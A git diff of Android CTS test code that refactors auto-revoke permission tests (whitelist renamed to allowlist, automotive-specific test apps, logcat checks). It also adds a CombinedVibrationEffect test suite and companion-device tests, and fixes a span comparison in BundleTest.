-        runShellCommand("input keyevent KEYCODE_WAKEUP")
-        runShellCommand("input keyevent 82")
+        runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
+        runShellCommandOrThrow("input keyevent 82")
+
+        if (isAutomotiveDevice()) {
+            supportedApkPath = APK_PATH_S_APP
+            supportedAppPackageName = APK_PACKAGE_NAME_S_APP
+            preMinVersionApkPath = APK_PATH_R_APP
+            preMinVersionAppPackageName = APK_PACKAGE_NAME_R_APP
+        } else {
+            supportedApkPath = APK_PATH_R_APP
+            supportedAppPackageName = APK_PACKAGE_NAME_R_APP
+            preMinVersionApkPath = APK_PATH_Q_APP
+            preMinVersionAppPackageName = APK_PACKAGE_NAME_Q_APP
+        }
     }
 
     @AppModeFull(reason = "Uses separate apps for testing")
@@ -110,25 +136,19 @@
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
-                goBack()
-                goHome()
-                goBack()
+                assertPermission(PERMISSION_GRANTED)
+                killDummyApp()
                 Thread.sleep(5)
 
                 // Run
                 runAutoRevoke()
 
                 // Verify
-                eventually {
-                    assertPermission(PERMISSION_DENIED)
-                }
-                runShellCommand("cmd statusbar expand-notifications")
+                assertPermission(PERMISSION_DENIED)
+                runShellCommandOrThrow("cmd statusbar expand-notifications")
                 waitFindObject(By.textContains("unused app"))
                         .click()
-                waitFindObject(By.text(APK_PACKAGE_NAME))
+                waitFindObject(By.text(supportedAppPackageName))
                 waitFindObject(By.text("Calendar permission removed"))
             }
         }
@@ -142,10 +162,8 @@
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
-                goHome()
+                assertPermission(PERMISSION_GRANTED)
+                killDummyApp()
                 Thread.sleep(5)
 
                 // Run
@@ -160,29 +178,21 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testPreRUnusedApp_doesntGetPermissionRevoked() {
+    fun testPreMinAutoRevokeVersionUnusedApp_doesntGetPermissionRevoked() {
         withUnusedThresholdMs(3L) {
-            withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
+            withDummyApp(preMinVersionApkPath, preMinVersionAppPackageName) {
                 withDummyApp {
-                    startApp(APK_PACKAGE_NAME_2)
+                    startApp(preMinVersionAppPackageName)
                     clickPermissionAllow()
-                    eventually {
-                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
-                    }
+                    assertPermission(PERMISSION_GRANTED, preMinVersionAppPackageName)
 
-                    goBack()
-                    goHome()
-                    goBack()
+                    killDummyApp(preMinVersionAppPackageName)
 
                     startApp()
                     clickPermissionAllow()
-                    eventually {
-                        assertPermission(PERMISSION_GRANTED)
-                    }
+                    assertPermission(PERMISSION_GRANTED)
 
-                    goBack()
-                    goHome()
-                    goBack()
+                    killDummyApp()
                     Thread.sleep(20)
 
                     // Run
@@ -190,10 +200,8 @@
                     Thread.sleep(500)
 
                     // Verify
-                    eventually {
-                        assertPermission(PERMISSION_DENIED)
-                        assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
-                    }
+                    assertPermission(PERMISSION_DENIED)
+                    assertPermission(PERMISSION_GRANTED, preMinVersionAppPackageName)
                 }
             }
         }
@@ -201,24 +209,24 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testAutoRevoke_userWhitelisting() {
+    fun testAutoRevoke_userAllowlisting() {
         withUnusedThresholdMs(4L) {
             withDummyApp {
                 // Setup
                 startApp()
                 clickPermissionAllow()
-                assertWhitelistState(false)
+                assertAllowlistState(false)
 
                 // Verify
-                waitFindObject(byTextIgnoreCase("Request whitelist")).click()
+                waitFindObject(byTextIgnoreCase("Request allowlist")).click()
                 waitFindObject(byTextIgnoreCase("Permissions")).click()
-                val autoRevokeEnabledToggle = getWhitelistToggle()
+                val autoRevokeEnabledToggle = getAllowlistToggle()
                 assertTrue(autoRevokeEnabledToggle.isChecked)
 
-                // Grant whitelist
+                // Grant allowlist
                 autoRevokeEnabledToggle.click()
                 eventually {
-                    assertFalse(getWhitelistToggle().isChecked)
+                    assertFalse(getAllowlistToggle().isChecked)
                 }
 
                 // Run
@@ -230,7 +238,7 @@
 
                 // Verify
                 startApp()
-                assertWhitelistState(true)
+                assertAllowlistState(true)
                 assertPermission(PERMISSION_GRANTED)
             }
         }
@@ -245,13 +253,10 @@
                 goToPermissions()
                 click("Calendar")
                 click("Allow")
-                Thread.sleep(500)
+                assertPermission(PERMISSION_GRANTED)
                 goBack()
                 goBack()
                 goBack()
-                eventually {
-                    assertPermission(PERMISSION_GRANTED)
-                }
 
                 // Run
                 runAutoRevoke()
@@ -265,36 +270,54 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
-    fun testAutoRevoke_whitelistingApis() {
+    fun testAutoRevoke_allowlistingApis() {
         withDummyApp {
             val pm = context.packageManager
             runWithShellPermissionIdentity {
-                assertFalse(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                assertFalse(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
             }
 
             runWithShellPermissionIdentity {
-                assertTrue(pm.setAutoRevokeWhitelisted(APK_PACKAGE_NAME, true))
+                assertTrue(pm.setAutoRevokeWhitelisted(supportedAppPackageName, true))
             }
             eventually {
                 runWithShellPermissionIdentity {
-                    assertTrue(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                    assertTrue(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
                 }
             }
 
             runWithShellPermissionIdentity {
-                assertTrue(pm.setAutoRevokeWhitelisted(APK_PACKAGE_NAME, false))
+                assertTrue(pm.setAutoRevokeWhitelisted(supportedAppPackageName, false))
             }
             eventually {
                 runWithShellPermissionIdentity {
-                    assertFalse(pm.isAutoRevokeWhitelisted(APK_PACKAGE_NAME))
+                    assertFalse(pm.isAutoRevokeWhitelisted(supportedAppPackageName))
                 }
             }
         }
     }
 
+    private fun isAutomotiveDevice(): Boolean {
+        return context.packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+    }
+
     private fun runAutoRevoke() {
-        runShellCommand("cmd jobscheduler run -u 0 " +
-                "-f ${context.packageManager.permissionControllerPackageName} 2")
+        val logcat = Logcat()
+
+        // Sometimes first run observes stale package data
+        // so run twice to prevent that
+        repeat(2) {
+            val mark = logcat.mark(LOG_TAG)
+            eventually {
+                runShellCommandOrThrow("cmd jobscheduler run -u " +
+                        "${Process.myUserHandle().identifier} -f " +
+                        "${context.packageManager.permissionControllerPackageName} 2")
+            }
+            logcat.assertLogcatContainsInOrder("*:*", 30_000,
+                    mark,
+                    "onStartJob",
+                    "Done auto-revoke for user")
+        }
     }
 
     private inline fun <T> withDeviceConfig(
@@ -323,28 +346,35 @@
                 "permissions", "auto_revoke_unused_threshold_millis2", threshold.toString(), action)
     }
 
-    private fun installApp(apk: String = APK_PATH) {
-        assertThat(runShellCommand("pm install -r $apk"), containsString("Success"))
+    private fun installApp() {
+        installApk(supportedApkPath)
     }
 
-    private fun uninstallApp(packageName: String = APK_PACKAGE_NAME) {
-        assertThat(runShellCommand("pm uninstall $packageName"), containsString("Success"))
+    private fun uninstallApp() {
+        uninstallApp(supportedAppPackageName)
     }
 
-    private fun startApp(packageName: String = APK_PACKAGE_NAME) {
-        runShellCommand("am start -n $packageName/$packageName.MainActivity")
+    private fun startApp() {
+        startApp(supportedAppPackageName)
     }
 
     private fun goHome() {
-        runShellCommand("input keyevent KEYCODE_HOME")
+        runShellCommandOrThrow("input keyevent KEYCODE_HOME")
     }
 
     private fun goBack() {
-        runShellCommand("input keyevent KEYCODE_BACK")
+        runShellCommandOrThrow("input keyevent KEYCODE_BACK")
+    }
+
+    private fun killDummyApp(pkg: String = supportedAppPackageName) {
+        assertThat(
+                runShellCommandOrThrow("am force-stop " + pkg),
+                equalTo(""))
+        awaitAppState(pkg, greaterThan(IMPORTANCE_TOP_SLEEPING))
     }
 
     private fun clickPermissionAllow() {
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (isAutomotiveDevice()) {
             waitFindObject(By.text(Pattern.compile(
                     Pattern.quote(mPermissionControllerResources.getString(
                             mPermissionControllerResources.getIdentifier(
@@ -358,11 +388,11 @@
     }
 
     private inline fun withDummyApp(
-        apk: String = APK_PATH,
-        packageName: String = APK_PACKAGE_NAME,
+        apk: String = supportedApkPath,
+        packageName: String = supportedAppPackageName,
         action: () -> Unit
     ) {
-        installApp(apk)
+        installApk(apk)
         try {
             // Try to reduce flakiness caused by new package update not propagating in time
             Thread.sleep(1000)
@@ -372,16 +402,11 @@
         }
     }
 
-    private fun assertPermission(state: Int, packageName: String = APK_PACKAGE_NAME) {
-        runWithShellPermissionIdentity {
-            assertEquals(
-                permissionStateToString(state),
-                permissionStateToString(
-                        context.packageManager.checkPermission(READ_CALENDAR, packageName)))
-        }
+    private fun assertPermission(state: Int, packageName: String = supportedAppPackageName) {
+        assertPermission(packageName, READ_CALENDAR, state)
     }
 
-    private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
+    private fun goToPermissions(packageName: String = supportedAppPackageName) {
         context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
@@ -392,25 +417,18 @@
 
     private fun click(label: String) {
         waitFindNode(hasTextThat(containsStringIgnoringCase(label))).click()
+        waitForIdle()
     }
 
-    private fun assertWhitelistState(state: Boolean) {
+    private fun assertAllowlistState(state: Boolean) {
         assertThat(
-            waitFindObject(By.textStartsWith("Auto-revoke whitelisted: ")).text,
+            waitFindObject(By.textStartsWith("Auto-revoke allowlisted: ")).text,
             containsString(state.toString()))
     }
 
-    private fun getWhitelistToggle(): AccessibilityNodeInfo {
+    private fun getAllowlistToggle(): AccessibilityNodeInfo {
         waitForIdle()
-        return eventually {
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            return@eventually ui.lowestCommonAncestor(
-                { node -> node.textAsString == "Remove permissions if app isn’t used" },
-                { node -> node.className == Switch::class.java.name }
-            ).assertNotNull {
-                "No auto-revoke whitelist toggle found in\n${uiDump(ui)}"
-            }.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
-        }
+        return waitFindSwitch("Remove permissions if app isn’t used")
     }
 
     private fun waitForIdle() {
@@ -450,27 +468,88 @@
             }
         }
     }
+}
 
-    /**
-     * For some reason waitFindObject sometimes fails to find UI that is present in the view hierarchy
-     */
-    private fun waitFindNode(matcher: Matcher<AccessibilityNodeInfo>): AccessibilityNodeInfo {
-        return eventually {
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            ui.depthFirstSearch { node ->
-                matcher.matches(node)
-            }.assertNotNull {
-                "No view found matching $matcher:\n\n${uiDump(ui)}"
-            }
+private fun permissionStateToString(state: Int): String {
+    return constToString<PackageManager>("PERMISSION_", state)
+}
+
+fun waitFindSwitch(label: String): AccessibilityNodeInfo {
+    return getEventually {
+        val ui = UI_ROOT
+        val node = ui.lowestCommonAncestor(
+                { node -> node.textAsString == label },
+                { node -> node.className == Switch::class.java.name })
+        if (node == null) {
+            ui.depthFirstSearch { it.isScrollable }?.performAction(ACTION_SCROLL_FORWARD)
+        }
+        return@getEventually node.assertNotNull {
+            "Switch not found: $label in\n${uiDump(ui)}"
+        }.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
+    }
+}
+
+/**
+ * For some reason waitFindObject sometimes fails to find UI that is present in the view hierarchy
+ */
+fun waitFindNode(matcher: Matcher<AccessibilityNodeInfo>): AccessibilityNodeInfo {
+    return getEventually {
+        val ui = UI_ROOT
+        ui.depthFirstSearch { node ->
+            matcher.matches(node)
+        }.assertNotNull {
+            "No view found matching $matcher:\n\n${uiDump(ui)}"
         }
     }
+}
 
-    private fun byTextIgnoreCase(txt: String): BySelector {
-        return By.text(Pattern.compile(txt, Pattern.CASE_INSENSITIVE))
+fun byTextIgnoreCase(txt: String): BySelector {
+    return By.text(Pattern.compile(txt, Pattern.CASE_INSENSITIVE))
+}
+
+fun awaitAppState(pkg: String, stateMatcher: Matcher<Int>) {
+    val context: Context = InstrumentationRegistry.getTargetContext()
+    eventually {
+        runWithShellPermissionIdentity {
+            val packageImportance = context
+                    .getSystemService(ActivityManager::class.java)!!
+                    .getPackageImportance(pkg)
+            assertThat(packageImportance, stateMatcher)
+        }
     }
+}
 
-    private fun permissionStateToString(state: Int): String {
-        return constToString<PackageManager>("PERMISSION_", state)
+fun startApp(packageName: String) {
+    assertThat(
+        runShellCommand("monkey -p $packageName -c android.intent.category.LAUNCHER 1"),
+        containsString("Events injected: 1"))
+    awaitAppState(packageName, lessThanOrEqualTo(IMPORTANCE_TOP_SLEEPING))
+    waitForIdle()
+}
+
+fun waitForIdle() {
+    InstrumentationRegistry.getInstrumentation().uiAutomation.waitForIdle(1000, 10000)
+}
+
+fun uninstallApp(packageName: String) {
+    assertThat(runShellCommandOrThrow("pm uninstall $packageName"), containsString("Success"))
+}
+
+fun installApk(apk: String) {
+    assertThat(runShellCommandOrThrow("pm install -r $apk"), containsString("Success"))
+}
+
+fun assertPermission(packageName: String, permissionName: String, state: Int) {
+    assertThat(permissionName, containsString("permission."))
+    eventually {
+        runWithShellPermissionIdentity {
+            assertEquals(
+                    permissionStateToString(state),
+                    permissionStateToString(
+                            InstrumentationRegistry.getTargetContext()
+                                    .packageManager
+                                    .checkPermission(permissionName, packageName)))
+        }
     }
 }
 
@@ -490,3 +569,11 @@
 inline fun <T> T?.assertNotNull(errorMsg: () -> String): T {
     return if (this == null) throw AssertionError(errorMsg()) else this
 }
+
+class Logcat() : LogcatInspector() {
+    override fun executeShellCommand(command: String?): InputStream {
+        val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+        return ParcelFileDescriptor.AutoCloseInputStream(
+                instrumentation.uiAutomation.executeShellCommand(command))
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index ca70fe3..9eb9ddf 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -847,10 +847,10 @@
     }
 
     private void assertSpannableEquals(Spannable expected, CharSequence observed) {
-        Spannable s = (Spannable) observed;
+        final Spannable observedSpan = (Spannable) observed;
         assertEquals(expected.toString(), observed.toString());
         Object[] expectedSpans = expected.getSpans(0, expected.length(), Object.class);
-        Object[] observedSpans = expected.getSpans(0, expected.length(), Object.class);
+        Object[] observedSpans = observedSpan.getSpans(0, observedSpan.length(), Object.class);
         assertEquals(expectedSpans.length, observedSpans.length);
         for (int i = 0; i < expectedSpans.length; i++) {
             // Can't compare values of arbitrary objects
diff --git a/tests/tests/os/src/android/os/cts/CombinedVibrationEffectTest.java b/tests/tests/os/src/android/os/cts/CombinedVibrationEffectTest.java
new file mode 100644
index 0000000..90e38a7
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CombinedVibrationEffectTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
+import android.os.CombinedVibrationEffect;
+import android.os.Parcel;
+import android.os.VibrationEffect;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CombinedVibrationEffectTest {
+
+    private static final VibrationEffect TEST_EFFECT =
+            VibrationEffect.get(VibrationEffect.EFFECT_CLICK);
+
+    private static final CombinedVibrationEffect TEST_MONO =
+            CombinedVibrationEffect.createSynced(TEST_EFFECT);
+    private static final CombinedVibrationEffect TEST_STEREO =
+            CombinedVibrationEffect.startSynced()
+                    .addVibrator(1, TEST_EFFECT)
+                    .addVibrator(2, TEST_EFFECT)
+                    .combine();
+    private static final CombinedVibrationEffect TEST_SEQUENTIAL =
+            CombinedVibrationEffect.startSequential()
+                    .addNext(TEST_MONO)
+                    .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                    .combine();
+
+    @Test
+    public void testCreateSynced() {
+        CombinedVibrationEffect.Mono synced =
+                (CombinedVibrationEffect.Mono) CombinedVibrationEffect.createSynced(TEST_EFFECT);
+        assertEquals(TEST_EFFECT, synced.getEffect());
+        assertEquals(TEST_EFFECT.getDuration(), synced.getDuration());
+    }
+
+    @Test
+    public void testStartSynced() {
+        CombinedVibrationEffect.Stereo synced =
+                (CombinedVibrationEffect.Stereo) CombinedVibrationEffect.startSynced()
+                        .addVibrator(1, TEST_EFFECT)
+                        .combine();
+        assertEquals(1, synced.getEffects().size());
+        assertEquals(TEST_EFFECT, synced.getEffects().get(1));
+        assertEquals(TEST_EFFECT.getDuration(), synced.getDuration());
+    }
+
+    @Test
+    public void testStartSyncedEmptyCombinationIsInvalid() {
+        try {
+            CombinedVibrationEffect.startSynced().combine();
+            fail("Illegal combination, should throw IllegalStateException");
+        } catch (IllegalStateException expected) {
+        }
+    }
+
+    @Test
+    public void testSyncedEquals() {
+        CombinedVibrationEffect otherMono = CombinedVibrationEffect.createSynced(
+                VibrationEffect.get(VibrationEffect.EFFECT_CLICK));
+        assertEquals(TEST_MONO, otherMono);
+        assertEquals(TEST_MONO.hashCode(), otherMono.hashCode());
+
+        CombinedVibrationEffect otherStereo = CombinedVibrationEffect.startSynced()
+                .addVibrator(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(2, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .combine();
+        assertEquals(TEST_STEREO, otherStereo);
+        assertEquals(TEST_STEREO.hashCode(), otherStereo.hashCode());
+    }
+
+    @Test
+    public void testSyncedNotEqualsDifferentEffect() {
+        CombinedVibrationEffect otherMono = CombinedVibrationEffect.createSynced(
+                VibrationEffect.get(VibrationEffect.EFFECT_TICK));
+        assertNotEquals(TEST_MONO, otherMono);
+    }
+
+    @Test
+    public void testSyncedNotEqualsDifferentVibrators() {
+        CombinedVibrationEffect otherStereo = CombinedVibrationEffect.startSynced()
+                .addVibrator(5, TEST_EFFECT)
+                .combine();
+        assertNotEquals(TEST_STEREO, otherStereo);
+    }
+
+    @Test
+    public void testCreateSequential() {
+        CombinedVibrationEffect.Sequential sequential =
+                (CombinedVibrationEffect.Sequential) CombinedVibrationEffect.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(TEST_STEREO, /* delay= */ 100)
+                        .addNext(1, TEST_EFFECT)
+                        .combine();
+        assertEquals(
+                Arrays.asList(TEST_MONO, TEST_STEREO,
+                        CombinedVibrationEffect.startSynced().addVibrator(1,
+                                TEST_EFFECT).combine()),
+                sequential.getEffects());
+        assertEquals(-1, sequential.getDuration());
+    }
+
+    @Test
+    public void testStartSequentialEmptyCombinationIsInvalid() {
+        try {
+            CombinedVibrationEffect.startSequential().combine();
+            fail("Illegal combination, should throw IllegalStateException");
+        } catch (IllegalStateException expected) {
+        }
+    }
+
+    @Test
+    public void testSequentialEquals() {
+        CombinedVibrationEffect otherSequential =
+                CombinedVibrationEffect.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                        .combine();
+        assertEquals(TEST_SEQUENTIAL, otherSequential);
+        assertEquals(TEST_SEQUENTIAL.hashCode(), otherSequential.hashCode());
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentEffects() {
+        CombinedVibrationEffect otherSequential =
+                CombinedVibrationEffect.startSequential()
+                        .addNext(TEST_STEREO)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentOrder() {
+        CombinedVibrationEffect otherSequential =
+                CombinedVibrationEffect.startSequential()
+                        .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                        .addNext(TEST_MONO)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentDelays() {
+        CombinedVibrationEffect otherSequential =
+                CombinedVibrationEffect.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(1, TEST_EFFECT, /* delay= */ 1)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentVibrator() {
+        CombinedVibrationEffect otherSequential =
+                CombinedVibrationEffect.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(5, TEST_EFFECT, /* delay= */ 100)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testParcelingSyncedMono() {
+        Parcel p = Parcel.obtain();
+        TEST_MONO.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibrationEffect parceled = CombinedVibrationEffect.CREATOR.createFromParcel(p);
+        assertEquals(TEST_MONO, parceled);
+    }
+
+    @Test
+    public void testParcelingSyncedStereo() {
+        Parcel p = Parcel.obtain();
+        TEST_STEREO.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibrationEffect parceled = CombinedVibrationEffect.CREATOR.createFromParcel(p);
+        assertEquals(TEST_STEREO, parceled);
+    }
+
+    @Test
+    public void testParcelingSequential() {
+        Parcel p = Parcel.obtain();
+        TEST_SEQUENTIAL.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibrationEffect parceled = CombinedVibrationEffect.CREATOR.createFromParcel(p);
+        assertEquals(TEST_SEQUENTIAL, parceled);
+    }
+
+    @Test
+    public void testDescribeContents() {
+        TEST_MONO.describeContents();
+        TEST_STEREO.describeContents();
+        TEST_SEQUENTIAL.describeContents();
+    }
+
+    @Test
+    public void testToString() {
+        TEST_MONO.toString();
+        TEST_STEREO.toString();
+        TEST_SEQUENTIAL.toString();
+    }
+
+    @Test
+    public void testSyncedMonoCombinationDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.createSynced(
+                VibrationEffect.createOneShot(100, 100));
+        assertEquals(100, effect.getDuration());
+    }
+
+    @Test
+    public void testSyncedStereoCombinationDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSynced()
+                .addVibrator(1, VibrationEffect.createOneShot(1, 100))
+                .addVibrator(2, VibrationEffect.createOneShot(100, 100))
+                .addVibrator(3, VibrationEffect.createOneShot(10, 100))
+                .combine();
+        assertEquals(100, effect.getDuration());
+    }
+
+    @Test
+    public void testSyncedCombinationUnknownDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSynced()
+                .addVibrator(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(2, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(-1, effect.getDuration());
+    }
+
+    @Test
+    public void testSyncedCombinationRepeatingDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSynced()
+                .addVibrator(1, VibrationEffect.createWaveform(new long[]{1}, new int[]{1}, 0))
+                .addVibrator(2, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(3, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(Long.MAX_VALUE, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSequential()
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .combine();
+        assertEquals(33, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationUnknownDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSequential()
+                .addNext(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addNext(1, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(-1, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationRepeatingDuration() {
+        CombinedVibrationEffect effect = CombinedVibrationEffect.startSequential()
+                .addNext(1, VibrationEffect.createWaveform(new long[]{1}, new int[]{1}, 0))
+                .addNext(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addNext(1, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(Long.MAX_VALUE, effect.getDuration());
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 773551b..b786cf5 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -18,14 +18,26 @@
 
 import android.companion.CompanionDeviceManager
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
+import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
+import android.os.UserHandle
 import android.platform.test.annotations.AppModeFull
 import android.test.InstrumentationTestCase
+import android.widget.TextView
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
+import com.android.compatibility.common.util.MatcherUtils.hasIdThat
+import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
+import com.android.compatibility.common.util.children
+import com.android.compatibility.common.util.click
+import org.hamcrest.CoreMatchers.containsString
+import org.hamcrest.Matchers.hasSize
+import org.junit.Assert.assertThat
 import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
@@ -44,7 +56,9 @@
 @RunWith(AndroidJUnit4::class)
 class CompanionDeviceManagerTest : InstrumentationTestCase() {
 
-    val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
+    val cdm: CompanionDeviceManager by lazy {
+        context.getSystemService(CompanionDeviceManager::class.java)
+    }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -99,4 +113,63 @@
             COMPANION_APPROVE_WIFI_CONNECTIONS))
         assertFalse(isShellAssociated(DUMMY_MAC_ADDRESS, SHELL_PACKAGE_NAME))
     }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
+    fun testDump() {
+        val userId = context.userId
+        val packageName = context.packageName
+
+        try {
+            runShellCommand(
+                    "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
+            val output = runShellCommand("dumpsys companiondevice")
+            assertThat(output, containsString(packageName))
+            assertThat(output, containsString(DUMMY_MAC_ADDRESS))
+        } finally {
+            runShellCommand(
+                    "cmd companiondevice disassociate $userId $packageName $DUMMY_MAC_ADDRESS")
+        }
+    }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
+    fun testProfiles() {
+        val packageName = "android.os.cts.companiontestapp"
+        installApk("/data/local/tmp/cts/os/CtsCompanionTestApp.apk")
+        startApp(packageName)
+
+        click("Associate Watch")
+        val device = waitFindNode(hasIdThat(containsString("device_list")))
+                .children
+                .find { it.className == TextView::class.java.name }
+        assumeTrue("Test requires a discoverable bluetooth device nearby", device != null)
+        device!!.click()
+
+        eventually {
+            assertThat(getAssociatedDevices(packageName), hasSize(1))
+        }
+        val deviceAddress = getAssociatedDevices(packageName)[0]
+
+        runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
+        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+
+        runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
+        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+    }
+
+    private fun getAssociatedDevices(
+        pkg: String,
+        user: UserHandle = android.os.Process.myUserHandle()
+    ): List<String> {
+        return runShellCommandOrThrow("cmd companiondevice list ${user.identifier}")
+                .lines()
+                .filter { it.startsWith(pkg) }
+                .map { it.substringAfterLast(" ") }
+    }
 }
+
+private fun click(label: String) {
+    waitFindObject(byTextIgnoreCase(label)).click()
+    waitForIdle()
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
                     case "ARE":
                         final PendingIntent pi = PendingIntent.getActivity(
                                 CrossProcessExceptionService.this, 12, new Intent(),
-                                PendingIntent.FLAG_CANCEL_CURRENT);
+                                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
                         throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
                     case "RE":
                         throw new RuntimeException("RE");
